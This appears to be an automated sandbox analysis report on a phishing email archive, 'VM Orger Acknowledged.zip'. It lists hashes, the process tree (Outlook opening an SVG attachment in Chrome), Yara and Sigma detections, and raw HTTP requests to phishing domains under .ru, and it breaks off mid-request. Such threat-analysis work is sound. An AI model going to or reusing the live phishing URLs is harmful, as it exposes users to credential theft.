Edit tour

Windows Analysis Report
VM Orger Acknowledged.zip

Overview

General Information

Sample name:	VM Orger Acknowledged.zip
Analysis ID:	1638471
MD5:	dc987db883b84c3c3f6e526f8f8264f8
SHA1:	a27496693a4d53458af5f5cce25fe08635f40a6d
SHA256:	6aa97f938db7cf7c7b53cde7224f6aab5f1a2632b1ce5d6d9a59fe1c248316bf
Infos:

Detection

Score:	48
Range:	0 - 100
Confidence:	100%

Signatures

Yara detected Obfuscation Via HangulCharacter

Detected non-DNS traffic on DNS port

Queries the volume information (name, serial number etc) of a device

Sigma detected: Office Autorun Keys Modification

Sigma detected: Use Short Name Path in Command Line

Stores large binary data to the registry

Classification

Process Tree

System is w10x64_ra

rundll32.exe (PID: 6264 cmdline: C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding MD5: EF3179D498793BF4234F708D3BE28633)

OUTLOOK.EXE (PID: 6472 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\AppData\Local\Temp\Temp1_VM Orger Acknowledged.zip\2ebc77ba-9c62-4256-fbee-08dd62e5107a\9d9f6e3b-7552-5d8c-68b2-f3b1c58b29b6.eml" MD5: 91A5292942864110ED734005B7E005C0)

ai.exe (PID: 6808 cmdline: "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "F1282493-4C99-4E26-B401-EA61DE48B6E3" "1E08416E-840A-4377-BC1A-BE2B73528DE8" "6472" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx" MD5: EC652BEDD90E089D9406AFED89A8A8BD)

chrome.exe (PID: 1720 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\MICROS~1\Windows\INETCA~1\CONTEN~1.OUT\QB0LCRDR\PURCHA~1.SVG MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5868 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2032,i,4292284546028772035,10436533909893045900,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2212 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_76	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security

Sigma Signatures

Sigma detected: Office Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE, ProcessId: 6472, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Outlook\Addins\OneNote.OutlookAddin\1

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\MICROS~1\Windows\INETCA~1\CONTEN~1.OUT\QB0LCRDR\PURCHA~1.SVG, CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\MICROS~1\Windows\INETCA~1\CONTEN~1.OUT\QB0LCRDR\PURCHA~1.SVG, CommandLine|base64offset|contains: , Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\AppData\Local\Temp\Temp1_VM Orger Acknowledged.zip\2ebc77ba-9c62-4256-fbee-08dd62e5107a\9d9f6e3b-7552-5d8c-68b2-f3b1c58b29b6.eml", ParentImage: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE, ParentProcessId: 6472, ParentProcessName: OUTLOOK.EXE, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\MICROS~1\Windows\INETCA~1\CONTEN~1.OUT\QB0LCRDR\PURCHA~1.SVG, ProcessId: 1720, ProcessName: chrome.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected Obfuscation Via HangulCharacter

Source: Yara match

File source: dropped/chromecache_76, type: DROPPED

Source: unknown	HTTPS traffic detected: 104.21.37.108:443 -> 192.168.2.16:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.66.137:443 -> 192.168.2.16:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.16:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.16:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.66.137:443 -> 192.168.2.16:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.16:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.16:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.4.189:443 -> 192.168.2.16:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.164:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.16:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.16:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.120:443 -> 192.168.2.16:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.120:443 -> 192.168.2.16:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.16:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.120:443 -> 192.168.2.16:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.16:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.43.251:443 -> 192.168.2.16:49765 version: TLS 1.2

Source: chrome.exe

Memory has grown: Private usage: 7MB later: 37MB

Source: global traffic	TCP traffic: 192.168.2.16:49725 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:49725 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:49725 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:49725 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:49725 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:49725 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:49725 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:49725 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:49725 -> 1.1.1.1:53

Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 216.58.206.67
Source: unknown	TCP traffic detected without corresponding DNS query: 216.58.206.67

Source: global traffic	HTTP traffic detected: GET /lGfpSLU/ HTTP/1.1Host: 3gyu.zelivarne.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://3gyu.zelivarne.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://3gyu.zelivarne.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://3gyu.zelivarne.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://3gyu.zelivarne.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://3gyu.zelivarne.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tarboz$h2b8h HTTP/1.1Host: 6id4q.zvaznx.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://3gyu.zelivarne.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://3gyu.zelivarne.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /lGfpSLU/ HTTP/1.1Host: 3gyu.zelivarne.ruConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://3gyu.zelivarne.ru/lGfpSLU/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkIzSnlabkV6NkZ0YlNJWHRXYTA0R0E9PSIsInZhbHVlIjoiWTFMeTVHQ1oyM04weWd0UVNFa1VPTnl6YTNBbmRPbVNnNkg5ZGZ5WjF5NzRlem95VEkwNXAwRWhlUzRHSXFKUXBiZG1XL3RoRW0vUE9yNjRYL3d3c1NFQldHalZ3aHpOVVFXbkw5VjM4eE41Yyt3bFhnTjA2T0h1RDVvbVRJNTYiLCJtYWMiOiI3ZDQzNjljMGZmOTIyMzExOGE1NGM5Mzc5MGMyNDIzNGUxZTg1OWVlMjVjZjQzYjkwMWIzZDUwOWU2NmYyOGQxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InJXYysxMW1yZHRiWlN6RGd6OXphcEE9PSIsInZhbHVlIjoiWTJOdVJxc3FmNjZ0aVhyN0dkSWY2S3BjMlZidDNnVER5YXU0MmhZNlErNk50RC9MR1FySVBhaE1WbXFGb0VKLzVSM1BEcnhHRWlqQkdtVjRYSStaQXc3OHJHaEZ4d2doSXhQaFozNHQ3M21KMFJvQVVtc2FKTXVwenZ4Z05PSVEiLCJtYWMiOiJhNzUyNmM3MmU2ZWQ2ZWYyOWY2ODkzYzY1NmIwMWEyYzRhZTdlMmMyYTU3NGM2ZjNjOTk2Mzk3NmUzOWE2MzhkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: 3gyu.zelivarne.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://3gyu.zelivarne.ru/lGfpSLU/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImlocXVKWU81RElHQlBtaWVSMlVQUmc9PSIsInZhbHVlIjoiVGJWRGM0d2tCRTI3WUZEY0hGblRkVGEyR2tKaVRJRS9IOVNaM2xIeFVZYjNla0JZY1YrMlF4TmdMQUowbk9EcmNIdk1LTlp4T3VEN2czT2psN25LcFBvS3ZSMDI4R0F4UkZVUVhCdktIZVlEN25GeEM2bjdVVmdseHduN3dPdmMiLCJtYWMiOiIyYWI0ZWRmNjc2ZGI3ZGMwYWY4OTg0OWY1MzRmMjI4M2IyYjM2MGY2NWQ0ZWQzZDhiZmE1MTYwYjM5MmFmZDA4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImpXZGltNC9jVy82QWNKTEUwVTlwN0E9PSIsInZhbHVlIjoic1pDNHRtQ0hkMXlGeFZQd0hyQlpzOHJOS2toeTB4Z0JMWEJTZEkvMW1lYjlySzUwblVuaEpEelBwanJZT2RDM2JXeEhtWlBVaExXQXcxcDBpUlZmamdIV1pUSHorb3VOUjBudzVLV0tXQ2NwQ0d0OGNXbWFFd0MyS0lqSHVpVG8iLCJtYWMiOiJkZDM4ODYzNWU1NGFkOThlYjBlNWU1ZjQwOTllMDcyZWI0NDJjYjE1ZjMxNWZkNjk2YWEwYWI5ZGJkOWJiYjM3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /pttgyfemfeluxhkHDFWQL367XOW9WOK4QC586WFJ5?YABWCAHYFXBFERFLWAL HTTP/1.1Host: 3gyu.zelivarne.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://3gyu.zelivarne.ru/lGfpSLU/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InVCNE0xTGVrRmlTWjJveXV3OGRGU0E9PSIsInZhbHVlIjoiM2ZOUnZyZVUxdDF5SklyOWdjalBCRXFBNDRBbEdMQ3AzUkVWckpOZUxWRC9KL2tjSlNFWnFLUnM3RlR0L1g4aXB3NllDOFdQcWhvaXh1YllyVHcrNmtVeUw4bE1zT3NPZlk3ME9yYUJjY3YydHVianhLMkRHSVBDYTczclk5MnUiLCJtYWMiOiI1MGE2NTE4MWMzYzhlMDM2OTllZGVjYjBjNGUxMGJkZTM3MDI3Zjg0ZDJhMWY2NWFmNTAwYjUzYTZkZTE0ODNiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNvUFhGV0xuWEtnTVVLLzZ3dklzM1E9PSIsInZhbHVlIjoiUWVrMWRLRFEvVCtOZlo4cXVUSWVWWXJUZE4zSWJQSno3eHFYWUFDSnErUzVQV1IyZ05sNVQzbHRLVmlVWXRUcFR4dlBuSFFya0REVGZRR2RqUmEzTU5Rc0IvSzl5NXNycWljNW1qVmtUblBEQTZmcDJIcWV1WndtdDJDRDl2OXciLCJtYWMiOiJlYjNhZjNhODUxZjgyOWI4MzkwNzU4OTkzODYyNDZiZmEyMjljMDIyMDQ3OTgwM2Q0MDM2ODhjZGNhMTkwYjdlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /12eV1jUxbkzqcfNjBxyw8Z8919 HTTP/1.1Host: 3gyu.zelivarne.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://3gyu.zelivarne.ru/pttgyfemfeluxhkHDFWQL367XOW9WOK4QC586WFJ5?YABWCAHYFXBFERFLWALAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Imk2a3VvNGZZdVMrUitHL21mSGdqRFE9PSIsInZhbHVlIjoiNGcwRzM1S2FsY2wvdVlLTERtYUJ1WHB5S0NiM2c4WmlJUjdFK2hmM3RBVzJaWUJIRlozeE50MkdxbFd2UVZiNWdFOTJ4dFdWN1M0VGJzc3VnbnRLUWR6Rm9tUXNSSDZtOC9rWk5NMUtyMEFybjBPRG56T01ZenlnMDdnbUR1TEQiLCJtYWMiOiI0YWYxNjQ3MzkyYTNiNDE1NTQ3MThhM2VmNGQyNTUwNWVkOGRhN2NiYzUwOTYwMDk5M2QyMTcwMDQyMGM1NmRhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im1rM0tvWDZCL0ozWUxBZkF4Z1dBZVE9PSIsInZhbHVlIjoiNGdBSjkvL1J2emVJeEp3M1NiZTVvbVpxZTNJRUkwT1NHRHArbktCU0N3U0grVDFXUmhlRm04b0ZkTXpUWitkN0tqcERQRWs2OFRUcGlYYXJSTEpXTGhtTE1SbWFydWxEdE5xaThXSXduKzJvSjArbnd2NEVZZTlyYWlCazFHbmYiLCJtYWMiOiI1YmU1MWRiZTYzZTcwYjMxYWJkYjBjYjJmYzA1N2Y4M2EwYzk2ZDU3OTVmN2UwYmZhNjRiMGNlZWQ4ZGE3NzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /abHta6ADpdpqQSO1gh24 HTTP/1.1Host: 3gyu.zelivarne.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://3gyu.zelivarne.ru/pttgyfemfeluxhkHDFWQL367XOW9WOK4QC586WFJ5?YABWCAHYFXBFERFLWALAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Imk2a3VvNGZZdVMrUitHL21mSGdqRFE9PSIsInZhbHVlIjoiNGcwRzM1S2FsY2wvdVlLTERtYUJ1WHB5S0NiM2c4WmlJUjdFK2hmM3RBVzJaWUJIRlozeE50MkdxbFd2UVZiNWdFOTJ4dFdWN1M0VGJzc3VnbnRLUWR6Rm9tUXNSSDZtOC9rWk5NMUtyMEFybjBPRG56T01ZenlnMDdnbUR1TEQiLCJtYWMiOiI0YWYxNjQ3MzkyYTNiNDE1NTQ3MThhM2VmNGQyNTUwNWVkOGRhN2NiYzUwOTYwMDk5M2QyMTcwMDQyMGM1NmRhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im1rM0tvWDZCL0ozWUxBZkF4Z1dBZVE9PSIsInZhbHVlIjoiNGdBSjkvL1J2emVJeEp3M1NiZTVvbVpxZTNJRUkwT1NHRHArbktCU0N3U0grVDFXUmhlRm04b0ZkTXpUWitkN0tqcERQRWs2OFRUcGlYYXJSTEpXTGhtTE1SbWFydWxEdE5xaThXSXduKzJvSjArbnd2NEVZZTlyYWlCazFHbmYiLCJtYWMiOiI1YmU1MWRiZTYzZTcwYjMxYWJkYjBjYjJmYzA1N2Y4M2EwYzk2ZDU3OTVmN2UwYmZhNjRiMGNlZWQ4ZGE3NzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff2 HTTP/1.1Host: 3gyu.zelivarne.ruConnection: keep-aliveOrigin: https://3gyu.zelivarne.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://3gyu.zelivarne.ru/pttgyfemfeluxhkHDFWQL367XOW9WOK4QC586WFJ5?YABWCAHYFXBFERFLWALAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Imk2a3VvNGZZdVMrUitHL21mSGdqRFE9PSIsInZhbHVlIjoiNGcwRzM1S2FsY2wvdVlLTERtYUJ1WHB5S0NiM2c4WmlJUjdFK2hmM3RBVzJaWUJIRlozeE50MkdxbFd2UVZiNWdFOTJ4dFdWN1M0VGJzc3VnbnRLUWR6Rm9tUXNSSDZtOC9rWk5NMUtyMEFybjBPRG56T01ZenlnMDdnbUR1TEQiLCJtYWMiOiI0YWYxNjQ3MzkyYTNiNDE1NTQ3MThhM2VmNGQyNTUwNWVkOGRhN2NiYzUwOTYwMDk5M2QyMTcwMDQyMGM1NmRhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im1rM0tvWDZCL0ozWUxBZkF4Z1dBZVE9PSIsInZhbHVlIjoiNGdBSjkvL1J2emVJeEp3M1NiZTVvbVpxZTNJRUkwT1NHRHArbktCU0N3U0grVDFXUmhlRm04b0ZkTXpUWitkN0tqcERQRWs2OFRUcGlYYXJSTEpXTGhtTE1SbWFydWxEdE5xaThXSXduKzJvSjArbnd2NEVZZTlyYWlCazFHbmYiLCJtYWMiOiI1YmU1MWRiZTYzZTcwYjMxYWJkYjBjYjJmYzA1N2Y4M2EwYzk2ZDU3OTVmN2UwYmZhNjRiMGNlZWQ4ZGE3NzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff HTTP/1.1Host: 3gyu.zelivarne.ruConnection: keep-aliveOrigin: https://3gyu.zelivarne.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://3gyu.zelivarne.ru/pttgyfemfeluxhkHDFWQL367XOW9WOK4QC586WFJ5?YABWCAHYFXBFERFLWALAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: 